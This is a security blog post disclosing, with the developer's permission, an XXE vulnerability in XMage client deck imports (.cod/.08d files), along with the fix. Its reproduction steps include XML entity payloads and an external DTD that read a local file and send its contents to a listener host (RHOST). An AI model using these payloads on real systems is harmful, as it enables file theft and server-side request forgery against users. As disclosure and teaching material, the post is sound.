13 - XXE in XMage Client <= 1.4.42V7

XXE in XMage Client <= 1.4.42V7

Lately, I've been doing quite a bit of SCR engagements for work. In my efforts to become a little better, I've been doing more on my own time. I enjoy code review, but alas like anything else it can get boring at times. In order to make it not quite so boring, I look for applications that interest me. One application I started poking around with is named XMage-- it's a java application that a few friends and I use to play MtG. While admittedly a little bit clunky, XMage does a phenomenal job at rules enforcement, something similar clients don't even attempt. In fact, so good a job it's likely you'll find out that some cards really don't work like you think they do (total buzzkill).

XMage is open source and has some great documentation. I got the latest build set up in IDEA with the help of maven and began by running SpotBugs against the Client and Server. To my dismay, the results were mega boring. Instead of just trusting the tools that everything was fine, I decided to dig in by hand a little bit. When I'm looking for issues in SCR, and I guess really anywhere, it makes sense to start with low-hanging fruit. As this is a client-server model application, my first instincts were to look for issues in communications. I had some difficulty getting the app to respect my proxy, so being lazy, I moved on. 

One of the most common uses of XMage is testing out decks. Either building new ones within XMage or importing them from other sources, it's pretty extensible and supports a number of different formats. But this got me thinking about the deck importing and I started poking around. Within two cups of coffee's worth of digging I had reported an XXE vulnerability within the XMage.client that was handled in less than an hour. I sent the details of the finding in an email, just in case, but after speaking with the dev who handled the fix, I've been given permission to disclose it publicly.


It's seriously as straight-forward as you could ask for in terms of XXE's. Version 1.4.42V7 doesn't do any validation on XML input it receives through the deck editor. Specifically, importing decks from two formats: .cod and .08d

Reproduction Steps:

1. Set up a listening server
2. Create a test XXE document, with the .cod extension
<?xml version="1.0" ?>
<!ENTITY sp SYSTEM "http://RHOST/test.txt">
3. In XMage, navigate to the 'Deck Editor' and click import
4. Load the *.cod file

XMage will throw an error, but you'll see the SSRF made to your listener (barring any weird shit).

In addition to basic SSRF ability, the vulnerable functionality also allows loading of external DTD files, which allows data exfiltration by reading files on the victim machine and sending their contents to the awaiting listener. 

External DTD (ev.dtd):
<!ENTITY % data SYSTEM "file:///c:/test">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://RHOST/?%data;'>">
Local test.cod:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % sp SYSTEM "https://RHOST/dtd/ev.xml">
XMage will again throw an error, but checking your listener will reveal the contents of C:\test, see the screenshot:

What's the fix?

Don't resolve external entities or DTD files!

But seriously, yeah, the associated commit basically goes ahead and adds some entity validation, and blocks resolving external DTD files. It's straight forward. The code is well commented and you can see the best-practice techniques for XXE prevention from OWASP have been employed, as well as a few other resources.

Kudos to the devs for the hastey work and allowing this disclosure.

Popular posts from this blog

07 - Just Another OSCE Review

06 - How to maybe not be so bad at fuzzing, Part 2

02x01 - How to maybe not be as bad at fuzzing unknown binary protocols as you were before reading this